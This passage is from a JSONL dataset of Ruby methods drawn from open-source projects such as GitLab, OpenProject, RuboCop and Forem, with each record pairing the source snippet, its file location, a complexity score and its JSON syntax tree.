World</a>\"]},{\"type\":\"lvar\",\"children\":[\"translation\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation\"]},\"html_safe?\"]}]}]}]}]}","id":"8f4d1a4b-cb99-47c9-9f15-3dc791013173"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/messages_controller.rb","start_line":182,"raw_source":"def attachment_params\n    attachment_params = permitted_params.attachments.to_h\n\n    if attachment_params.any?\n      { attachment_ids: attachment_params.values.map(&:values).flatten }\n    else\n      {}\n    end\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attachment_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attachment_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"attachments\"]},\"to_h\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment_params\"]},\"any?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachment_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment_params\"]},\"values\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]}]}]},\"flatten\"]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"aa1aa3f3-e789-467a-8c59-f00c5c8f4dc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/expression/lexeme/string.rb","start_line":11,"raw_source":"def evaluate(variables = {})\n              @value.to_s\n            end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"variables\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@value\"]},\"to_s\"]}]}","id":"dba8f82c-cf3d-4dfa-961b-d4425068c0f5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/indentation_consistency.rb","start_line":138,"raw_source":"def autocorrect(corrector, node)\n          AlignmentCorrector.correct(corrector, processed_source, node, column_delta)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AlignmentCorrector\"]},\"correct\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"send\",\"children\":[null,\"processed_source\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[null,\"column_delta\"]}]}]}","id":"f1fbc9fa-c5f9-4734-8254-613251261605"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todo_service.rb","start_line":516,"raw_source":"def pending_todos(users, criteria = {})\n    PendingTodosFinder.new(criteria.merge(users: users)).execute\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pending_todos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"optarg\",\"children\":[\"criteria\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PendingTodosFinder\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"criteria\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"lvar\",\"children\":[\"users\"]}]}]}]}]},\"execute\"]}]}","id":"0d740f8a-f8f0-44e6-9b92-7b9f428abeae"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_web_server.rb","start_line":55,"raw_source":"def test_close_client\n    assert_raises IOError do\n      do_test_raise(VALID_REQUEST, 10, 20)\n    end\n  end","complexity_score":3.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_close_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"IOError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"do_test_raise\",{\"type\":\"const\",\"children\":[null,\"VALID_REQUEST\"]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[20]}]}]}]}","id":"49891d37-dac4-4888-89ae-ead2c70fbf58"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/useless_setter_call.rb","start_line":140,"raw_source":"def process_assignment(asgn_node, rhs_node)\n            @local[asgn_node.name] = if rhs_node.variable?\n                                       @local[rhs_node.name]\n                                     else\n                                       constructor?(rhs_node)\n                                     end\n          end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_assignment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asgn_node\"]},{\"type\":\"arg\",\"children\":[\"rhs_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@local\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asgn_node\"]},\"name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs_node\"]},\"variable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@local\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs_node\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"constructor?\",{\"type\":\"lvar\",\"children\":[\"rhs_node\"]}]}]}]}]}","id":"41a727e0-1fce-4c29-8e60-54195f905a41"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/namespace.rb","start_line":36,"raw_source":"def log_create_failed(error)\n        logger.error({\n          exception: {\n            class: error.class.name,\n            message: error.message\n          },\n          status_code: error.error_code,\n          namespace: name,\n          class_name: self.class.name,\n          event: :failed_to_create_namespace\n        })\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_create_failed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"error_code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"sym\",\"children\":[\"failed_to_create_namespace\"]}]}]}]}]}","id":"f5e9ea31-874c-46d9-8948-6e772c6788bc"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/authentication/providers/apple.rb","start_line":25,"raw_source":"def new_user_data\n        # Apple sends `first_name` and `last_name` as separate fields\n        name = I18n.t(\"services.authentication.providers.apple.name\", first: info.first_name, last: info.last_name)\n\n        user_data = {\n          email: info.email,\n          apple_username: user_nickname,\n          name: name\n        }\n\n        user_data[:profile_image] = if Rails.env.test?\n                                      Settings::General.mascot_image_url\n                                    else\n                                      Images::ProfileImageGenerator.call\n                                    end\n\n        user_data\n      end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"new_user_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"services.authentication.providers.apple.name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\"]},\"first_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\"]},\"last_name\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"apple_username\"]},{\"type\":\"send\",\"children\":[null,\"user_nickname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"profile_image\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"mascot_image_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Images\"]},\"ProfileImageGenerator\"]},\"call\"]}]}]},{\"type\":\"lvar\",\"children\":[\"user_data\"]}]}]}","id":"576bccef-03a0-4b80-9033-d65aad11df54"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget.rb","start_line":410,"raw_source":"def grouped_subscribers\n    grouped_users   = grouped_users_by_id\n    groups_by_id    = MiqGroup.in_my_region.where(:id => grouped_users.keys).index_by(&:id)\n    users_by_userid = User.in_my_region.where(:userid => grouped_users.values.flatten.uniq).index_by(&:userid)\n    grouped_users.each_with_object({}) do |(k, v), h|\n      user_objs = users_by_userid.values_at(*v).reject(&:blank?)\n      h[groups_by_id[k]] = user_objs if user_objs.present?\n    end\n  end","complexity_score":35.3,"ast_json":"{\"type\":\"def\",\"children\":[\"grouped_subscribers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"grouped_users\",{\"type\":\"send\",\"children\":[null,\"grouped_users_by_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"groups_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqGroup\"]},\"in_my_region\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_users\"]},\"keys\"]}]}]}]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"users_by_userid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"in_my_region\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_users\"]},\"values\"]},\"flatten\"]},\"uniq\"]}]}]}]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_users\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_objs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_by_userid\"]},\"values_at\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"blank?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_objs\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups_by_id\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"lvar\",\"children\":[\"user_objs\"]}]},null]}]}]}]}]}","id":"f06708c2-cfa0-42ae-a054-1e70bda71a38"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/group_type.rb","start_line":486,"raw_source":"def projects_count\n      BatchLoader::GraphQL.for(object.id).batch do |group_ids, loader|\n        projects_counts = Group.id_in(group_ids).projects_counts\n        projects_counts.each { |group_id, count| loader.call(group_id, count) }\n      end\n    end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"projects_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"GraphQL\"]},\"for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]},\"batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_ids\"]},{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"projects_counts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"id_in\",{\"type\":\"lvar\",\"children\":[\"group_ids\"]}]},\"projects_counts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects_counts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_id\"]},{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"group_id\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]}]}","id":"759ef0ef-1c89-4913-8c5c-3b8b5ae7cd42"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/topics_controller.rb","start_line":35,"raw_source":"def update\n    if @topic.update(topic_params)\n      redirect_to edit_admin_topic_path(@topic), notice: _('Topic was successfully updated.')\n    else\n      render \"edit\"\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"topic_params\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"edit_admin_topic_path\",{\"type\":\"ivar\",\"children\":[\"@topic\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Topic was successfully updated.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"edit\"]}]}]}]}","id":"bd724a77-90c7-41a5-9c4c-109513758c18"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_line_after_guard_clause.rb","start_line":121,"raw_source":"def next_line_allowed_directive_comment?(line)\n          return false unless (comment = processed_source.comment_at_line(line))\n\n          DirectiveComment.new(comment).enabled? || simplecov_directive_comment?(comment)\n        end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"next_line_allowed_directive_comment?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"comment_at_line\",{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DirectiveComment\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]},\"enabled?\"]},{\"type\":\"send\",\"children\":[null,\"simplecov_directive_comment?\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]}]}]}","id":"b0cb5a01-68a0-4f57-bc78-affafc792de2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/hook/email_template_interceptor.rb","start_line":10,"raw_source":"def self.delivering_email(message)\n          unless Gitlab::CurrentSettings.html_emails_enabled\n            message.parts.delete_if do |part|\n              part.content_type.start_with?('text/html')\n            end\n          end\n        end","complexity_score":8.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"delivering_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"html_emails_enabled\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"parts\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"content_type\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]}]}","id":"2e5c72dc-d6bb-4689-ba2d-791016845927"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/event_store.rb","start_line":17,"raw_source":"def publish(event)\n        instance.publish(event)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"publish\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance\"]},\"publish\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}","id":"8291aebb-b7bc-41a1-ab56-758e24ff00da"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/openai/capabilities.rb","start_line":226,"raw_source":"def self.normalize_temperature(temperature, model_id)\n          if model_id.match?(/^(o\\d|gpt-5)/)\n            RubyLLM.logger.debug \"Model #{model_id} requires temperature=1.0, ignoring provided value\"\n            1.0\n          elsif model_id.match?(/-search/)\n            RubyLLM.logger.debug \"Model #{model_id} does not accept temperature parameter, removing\"\n            nil\n          else\n            temperature\n          end\n        end","complexity_score":9.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"normalize_temperature\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"temperature\"]},{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(o\\\\d|gpt-5)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyLLM\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Model \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]}]},{\"type\":\"str\",\"children\":[\" requires temperature=1.0, ignoring provided value\"]}]}]},{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"-search\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyLLM\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Model \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]}]},{\"type\":\"str\",\"children\":[\" does not accept temperature parameter, removing\"]}]}]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"temperature\"]}]}]}]}","id":"cfe1dbe2-bd9a-4cf7-83f5-95738e31915b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250116141551_drop_table_subscription_provision_syncs.rb","start_line":12,"raw_source":"def down\n    create_table :subscription_provision_syncs do |t|\n      t.bigint :namespace_id, null: false\n      t.datetime_with_timezone :sync_requested_at, null: false\n      t.timestamps_with_timezone null: false\n      t.jsonb :attrs, null: false\n\n      t.index [:namespace_id, :sync_requested_at], unique: true,\n        order: { sync_requested_at: :desc }, name: UNIQUE_INDEX_NAME\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"subscription_provision_syncs\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime_with_timezone\",{\"type\":\"sym\",\"children\":[\"sync_requested_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"attrs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"sym\",\"children\":[\"sync_requested_at\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_requested_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"UNIQUE_INDEX_NAME\"]}]}]}]}]}]}]}","id":"0c056d1e-1c40-4619-bb3e-d783dc2008c5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/api/v3/parse_query_params_service.rb","start_line":66,"raw_source":"def parsed_params(params)\n        ServiceResult.success result: {\n          group_by: group_by_from_params(params),\n          columns: columns_from_params(params),\n          display_sums: boolearize(params[:showSums]),\n          timeline_visible: boolearize(params[:timelineVisible]),\n          timeline_zoom_level: params[:timelineZoomLevel],\n          highlighting_mode: params[:highlightingMode],\n          highlighted_attributes: highlighted_attributes_from_params(params),\n          display_representation: params[:displayRepresentation],\n          show_hierarchies: boolearize(params[:showHierarchies]),\n          include_subprojects: boolearize(params[:includeSubprojects]),\n          timestamps: Timestamp.parse_multiple(params[:timestamps])\n        }\n      rescue ArgumentError => e\n        result = ServiceResult.failure\n        result.errors.add(:base, e.message)\n        result\n      end","complexity_score":30.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parsed_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_by\"]},{\"type\":\"send\",\"children\":[null,\"group_by_from_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"columns\"]},{\"type\":\"send\",\"children\":[null,\"columns_from_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display_sums\"]},{\"type\":\"send\",\"children\":[null,\"boolearize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"showSums\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeline_visible\"]},{\"type\":\"send\",\"children\":[null,\"boolearize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timelineVisible\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeline_zoom_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timelineZoomLevel\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"highlighting_mode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"highlightingMode\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"highlighted_attributes\"]},{\"type\":\"send\",\"children\":[null,\"highlighted_attributes_from_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display_representation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"displayRepresentation\"]}]}]},{\"type\":\"pair\",\